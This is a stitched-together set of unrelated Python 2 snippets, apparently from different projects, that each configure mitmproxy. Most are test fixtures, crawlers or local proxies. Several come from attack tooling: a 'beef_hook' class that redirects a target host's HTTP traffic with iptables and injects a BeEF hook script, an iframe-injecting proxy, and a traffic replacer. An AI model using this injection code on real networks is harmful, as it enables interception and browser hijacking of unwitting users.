def main(): app = wx.App(False) if len(sys.argv) >= 2 and sys.argv[1] == '-test': config = wx.Config("padherder_proxy_test") print "In test mode" else: config = wx.Config("padherder_proxy") wx.ConfigBase.Set(config) frame = MainWindow(None, "Padherder Proxy v%s" % PH_PROXY_VERSION) host = config.Read("host") or socket.gethostbyname(socket.gethostname()) logger = dnsproxy.MyDNSLogger(frame.dns_tab) thread.start_new_thread(dnsproxy.serveDNS, (logger, frame.main_tab, frame)) try: app_config = proxy.ProxyConfig(port=8080, host=host) app_server = ProxyServer(app_config) app_master = dump.DumpMaster( app_server, dump.Options(app_host='mitm.it', app_port=80, app=True)) frame.app_master = app_master thread.start_new_thread(app_master.run, ()) except: evt = custom_events.wxStatusEvent( message='Error initalizing mitm proxy:\n' + traceback.format_exc() + '\n\nYou probably put in an incorrect IP address in Settings') wx.PostEvent(frame.main_tab, evt) app.MainLoop()
def test_terminate_error(self): sc = proxy.ServerConnection(proxy.ProxyConfig(), "http", self.d.IFACE, self.d.port, "host.com") sc.connect() sc.connection = mock.Mock() sc.connection.close = mock.Mock(side_effect=IOError) sc.terminate()
def start_filter_proxy(options): print "Press Ctrl+C to stop the proxy" port = int(options.port) config = proxy.ProxyConfig(port=port) server = ProxyServer(config) m = HeaderFilterProxy(server) m.run()
class ChainProxTest(ProxTestBase): """ Chain n instances of mitmproxy in a row - because we can. """ n = 2 chain_config = [lambda: proxy.ProxyConfig( cacert = tutils.test_data.path("data/confdir/mitmproxy-ca.pem"), )] * n @classmethod def setupAll(cls): super(ChainProxTest, cls).setupAll() cls.chain = [] for i in range(cls.n): config = cls.chain_config[i]() config.forward_proxy = ("http", "127.0.0.1", cls.proxy.port if i == 0 else cls.chain[-1].port ) tmaster = cls.masterclass(config) cls.chain.append(ProxyThread(tmaster)) cls.chain[-1].start() @classmethod def teardownAll(cls): super(ChainProxTest, cls).teardownAll() for p in cls.chain: p.tmaster.server.shutdown() def setUp(self): super(ChainProxTest, self).setUp() for p in self.chain: p.tmaster.clear_log() p.tmaster.state.clear()
def init_proxy(browser_params, manager_params, status_queue): """ Uses mitmproxy used to log HTTP Requests and Responses <browser params> configuration parameters of host browser <manager_params> configuration parameters of the TaskManager <status_queue> a Queue to report proxy status back to TaskManager """ logger = loggingclient(*manager_params['logger_address']) proxy_site_queue = Queue.Queue( ) # queue for crawler to communicate with proxy # gets local port from one of the free ports sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('', 0)) proxy_port = sock.getsockname()[1] sock.close() config = proxy.ProxyConfig(cadir=os.path.join(os.path.dirname(__file__), 'cert'), port=proxy_port) server = ProxyServer(config) logger.info('BROWSER %i: Intercepting Proxy listening on %i' % (browser_params['crawl_id'], proxy_port)) m = MITMProxy.InterceptingMaster(server, proxy_site_queue, browser_params, manager_params, status_queue) thread = threading.Thread(target=m.run, args=()) thread.daemon = True thread.start() return proxy_port, proxy_site_queue
def test_terminate_error(self): sc = proxy.ServerConnection(proxy.ProxyConfig(), "http", self.d.IFACE, self.d.port, "host.com") sc.connect() sc.connection = mock.Mock() sc.connection.flush = mock.Mock(side_effect=tcp.NetLibDisconnect) sc.terminate()
def init_proxy(db_socket_address, crawl_id): """ # deploys an (optional) instance of mitmproxy used to log crawl data <db_socket_address> is the connection address of the DataAggregator <crawl_id> is the id set by the TaskManager """ proxy_site_queue = Queue.Queue( ) # queue for crawler to communicate with proxy # gets local port from one of the free ports sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.bind(('', 0)) proxy_port = sock.getsockname()[1] sock.close() config = proxy.ProxyConfig(cacert=os.path.join(os.path.dirname(__file__), 'mitmproxy.pem'), ) server = proxy.ProxyServer(config, proxy_port) print 'Intercepting Proxy listening on ' + str(proxy_port) m = MITMProxy.InterceptingMaster(server, crawl_id, proxy_site_queue, db_socket_address) thread = threading.Thread(target=m.run, args=()) thread.daemon = True thread.start() return proxy_port, proxy_site_queue
def onDNSEvent(self, event): if self.proxy_master is not None: self.proxy_master.shutdown() if event.message.startswith('api-na'): region = 'NA' else: region = 'JP' config = wx.ConfigBase.Get() host = config.Read("host") or socket.gethostbyname( socket.gethostname()) httpsport = config.Read("httpsport") or "443" try: proxy_config = proxy.ProxyConfig( port=int(httpsport), host=host, mode='reverse', upstream_server=cmdline.parse_server_spec('https://%s:443/' % event.message)) proxy_server = ProxyServer(proxy_config) except Exception as e: evt = custom_events.wxStatusEvent( message='Error starting HTTPS proxy: %s' % e) wx.PostEvent(self.main_tab, evt) return self.proxy_master = PadMaster(proxy_server, self, region) thread.start_new_thread(self.proxy_master.run, ())
def main(argv): config = proxy.ProxyConfig( cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")) server = proxy.ProxyServer(config, 8080) print 'Starting proxy...' m = InjectingMaster(server) m.run()
def main (argv): config = proxy.ProxyConfig( cacert = os.path.expanduser('./mitmproxy.pem'), ) server = proxy.ProxyServer(config, 8080) print 'Intercepting Proxy listening on 8080' m = InterceptingMaster(server) m.run()
def setupAll(cls): cls.tqueue = Queue.Queue() cls.server = libpathod.test.Daemon(ssl=cls.ssl) pconf = cls.get_proxy_config() config = proxy.ProxyConfig(certfile=test_data.path("data/testkey.pem"), **pconf) cls.proxy = ProxyThread(cls.tqueue, config) cls.proxy.start()
def start_filter_proxy(options): print "Press Ctrl+C to stop the proxy" port = int(options.port) config = proxy.ProxyConfig( cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")) server = proxy.ProxyServer(config, port) m = HeaderFilterProxy(server) m.run()
def run_all(): config = proxy.ProxyConfig(port=8080) server = ProxyServer(config) m = StickyMaster(server) m.run() # if __name__ == '__main__': # run_all()
def __init__(self, port): password_manager = http_auth.PassManSingleUser('scrapy', 'scrapy') authenticator = http_auth.BasicProxyAuth(password_manager, "mitmproxy") cert_path = os.path.join(os.path.abspath(os.path.dirname(__file__)), 'keys', 'mitmproxy-ca.pem') server = proxy.ProxyServer( proxy.ProxyConfig(authenticator=authenticator, cacert=cert_path), port) Thread.__init__(self) controller.Master.__init__(self, server)
def main(): print "serving at port", PORT #httpd.serve_forever() config = proxy.ProxyConfig() server = proxy.ProxyServer(config, PORT) m = RequestRecorder(server) m.run()
class beef_hook(Attack): """ Injects BeEF hooks into poisoned traffic. Requires libmproxy and it's dependencies """ def __init__(self): self.hook_path = None self.proxy_server = None self.hooker = None self.hooked_host = None self.hook_script = "<script src=\"{0}\"></script>" self.iptable_http = "iptables -t nat -A PREROUTING -p tcp --dport 80 -s {0} -j REDIRECT --to-port 5544" super(beef_hook, self).__init__("BeEF Hook") def modip_rule(self, enable=True): """ enables or disables the iptable rule for forwarding traffic locally """ if enable: util.init_app(self.iptable_http.format(self.hooked_host)) else: util.init_app( self.iptable_http.replace('-A', '-D').format(self.hooked_host)) def initialize(self): while True: try: self.hook_path = raw_input('[!] Enter path to BeEF Hook: ') self.hooked_host = raw_input('[!] Enter host to hook: ') tmp = raw_input( '[!] Hooking host \'%s\'. Is this correct? [Y/n] ' % self.hooked_host) if 'n' in tmp.lower(): return None break except KeyboardInterrupt: return None except Exception, e: util.Error(e) self.hook_script = self.hook_script.format(self.hook_path) self.modip_rule() self.running = True config = proxy.ProxyConfig(transparent_proxy=dict( resolver=platform.resolver(), sslports=[443])) config.skip_cert_cleanup = True self.proxy_server = proxy.ProxyServer(config, 5544) self.hooker = Hooker(self.proxy_server, self.hook_script) thread = Thread(target=self.hooker.run) thread.start() return self.hooked_host
def start_proxy_server(port, referer): """ Start proxy server and return an instance. :param port: int :param referer: string :return: RefererMaster """ config = proxy.ProxyConfig(port=port) server = ProxyServer(config) m = RefererMaster(server, referer) m.run()
def main(argv): if len(argv) != 2: print "Usage: %s IFRAME_URL" % argv[0] sys.exit(1) iframe_url = argv[1] config = proxy.ProxyConfig( cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")) server = proxy.ProxyServer(config, 8080) print 'Starting proxy...' m = InjectingMaster(server, iframe_url) m.run()
def start_proxy(app_url, app_name="test", port_no=2820, generate=True): config = proxy.ProxyConfig( port=port_no, # use ~/.mitmproxy/mitmproxy-ca.pem as default CA file. cadir=os.path.dirname(os.path.realpath(__file__))) state = flow.State() server = ProxyServer(config) flowMaster = ProxyFlowMaster(server, state, app_url, app_name, generate) print "Proxy Started on port " + str(port_no) flowMaster.run()
def __init__(self): Thread.__init__(self) config = proxy.ProxyConfig( cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem"), transparent_proxy=dict(showhost=True, resolver=platform.resolver(), sslports=[443, 8443]) #Thanks nmonkee ) state = flow.State() server = proxy.ProxyServer(config, 8080) self.m = MyMaster(server, state)
def setupAll(cls): cls.server = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions) cls.server2 = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions) pconf = cls.get_proxy_config() config = proxy.ProxyConfig( no_upstream_cert = cls.no_upstream_cert, cacert = tutils.test_data.path("data/confdir/mitmproxy-ca.pem"), authenticator = cls.authenticator, **pconf ) tmaster = cls.masterclass(config) cls.proxy = ProxyThread(tmaster) cls.proxy.start()
def __init__(self, filter_id, package_name, description): self.report = {} self.filter_id = filter_id self.package_name = package_name self.description = description config = proxy.ProxyConfig(port=8080,mode="transparent") server = ProxyServer(config) controller.Master.__init__(self, server) flow_dump_file = open(self.get_package_name()+"_network_traffic", "wb") self.network_flow = FlowWriter(flow_dump_file) self.should_exit = None self.extra_analyzers = [InsecureTransmissionAnalyzer(self),ZIPPathTraversalAnalyzer(self)] logging.debug("Init analyzer")
def test_simple(self): sc = proxy.ServerConnection(proxy.ProxyConfig(), "http", self.d.IFACE, self.d.port, "host.com") sc.connect() r = tutils.treq() r.path = "/p/200:da" sc.send(r) assert http.read_response(sc.rfile, r.method, 1000) assert self.d.last_log() r.content = flow.CONTENT_MISSING tutils.raises("incomplete request", sc.send, r) sc.terminate()
def start(self, url): log.info("before proxy") config = proxy.ProxyConfig(port=8888) server = ProxyServer(config) self.m = InjectionProxy.InjectionProxy(server) log.info("before thread") thread.start_new_thread(self.m.run, ()) #self.working_path = os.path.dirname(os.path.realpath(__file__)) #self.working_path = os.path.join(self.working_path, "..", "..", "lib", "jsh") #subprocess.Popen("python " + os.path.join(self.working_path, "InjectionProxy.py")) time.sleep(2) # waits for proxy to go up iexplore = self.get_path("Internet Explorer") log.info("after thread, before execute") return self.execute(iexplore, args="%s" % url)
def setupAll(cls): cls.server = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions) cls.server2 = libpathod.test.Daemon(ssl=cls.ssl, ssloptions=cls.ssloptions) pconf = cls.get_proxy_config() cls.confdir = tempfile.gettempdir() config = proxy.ProxyConfig( no_upstream_cert = cls.no_upstream_cert, confdir = cls.confdir, authenticator = cls.authenticator, **pconf ) tmaster = cls.masterclass(config) tmaster.start_app(APP_HOST, APP_PORT, cls.externalapp) cls.proxy = ProxyThread(tmaster) cls.proxy.start()
def start_creator_proxy(options): global collection port = int(options.port) name = options.name path = options.path host = options.host if options.restricted_headers == 'false': restricted_headers = False else: restricted_headers = True methods = options.methods status_codes = "" print "Proxy running at %d" % (port) print "Press Ctrl+C to stop the proxy" rules = { 'host': host, 'methods': methods, 'restricted_headers': restricted_headers } collection = Collection(name, path) config = proxy.ProxyConfig( cacert=os.path.expanduser("~/.mitmproxy/mitmproxy-ca.pem")) server = proxy.ProxyServer(config, port) if options.tcp_connection == 'false': tcp_connection = False else: tcp_connection = True m = CollectionCreatorProxy(server, collection, rules, tcp_connection=tcp_connection, tcp_host=options.tcp_host, tcp_port=options.tcp_port) m.run() signal.signal(signal.SIGINT, signal_handler) print 'Press Ctrl+C again to save the collection' signal.pause()
def initialize(self): self.hook_script = self.hook_script.format(self.config['hook_path'].value) self.modip_rule() self.running = True config = proxy.ProxyConfig(transparent_proxy=dict( resolver = platform.resolver(), sslports = [443]) ) config.skip_cert_cleanup = True self.proxy_server = proxy.ProxyServer(config, 5544) self.hooker = Hooker(self.proxy_server, self.hook_script) util.Msg('Firing up BeEF hook...') thread = Thread(target=self.hooker.run) thread.start() return True
def start_proxy_server(port, inout_path, res_path, http_proxy): mapping_handler = MappingItemsManager(inout_path, res_path) proxy_mapper = ProxyMapper(mapping_handler, http_proxy) config = proxy.ProxyConfig(port=port, cadir="~/.mitmproxy/") server = ProxyServer(config) state = flow.State() m = MITMProxy(server, state, proxy_mapper) def signal_handler(signal, frame): info("\nShutting down proxy server") m.shutdown() success("Proxy server stopped") sys.exit(0) signal.signal(signal.SIGINT, signal_handler) m.run()
def main(argv): # read config from ini file, check it and write it back config_file = "config.ini" config = ConfigParser.ConfigParser() config.read(config_file) # Check config and set defaault params check_config(config) # write config to file with open(config_file, "wb") as cf: config.write(cf) # Configure proxy server proxy_config = proxy.ProxyConfig( port=int(config.get("proxy", "port")), cadir=config.get("proxy", "cadir"), mode=config.get("proxy", "mode") ) # Create Server server = ProxyServer(proxy_config) # Creater Interceptor imaster = InterceptingMaster(server, config) imaster.run() print "Intercepting Proxy listening on " + str(proxy_config.port) + " in " + str(proxy_config.mode) + " mode " # Wait till keyboard interrupt while True: try: time.sleep(1) except KeyboardInterrupt: print 'KeyboardInterrupt received. Shutting down' imaster.shutdown() sys.exit(0) except Exception as e: print e print 'Exception catched.' sys.exit(0)
def initialize(self): self.load_file() if (len(self.replace_regex) + len(self.replace_tags)) <= 0: util.Error("No matches loaded.") return False self.modip() self.running = True config = proxy.ProxyConfig(transparent_proxy=dict( resolver=platform.resolver(), sslports=[443])) config.skip_cert_cleanup = True self.proxy_server = proxy.ProxyServer(config, 5544) self.hooker = Hooker(self.proxy_server, self.replace_regex, self.replace_tags) util.Msg("Launching replacer...") thread = Thread(target=self.hooker.run) thread.start() return True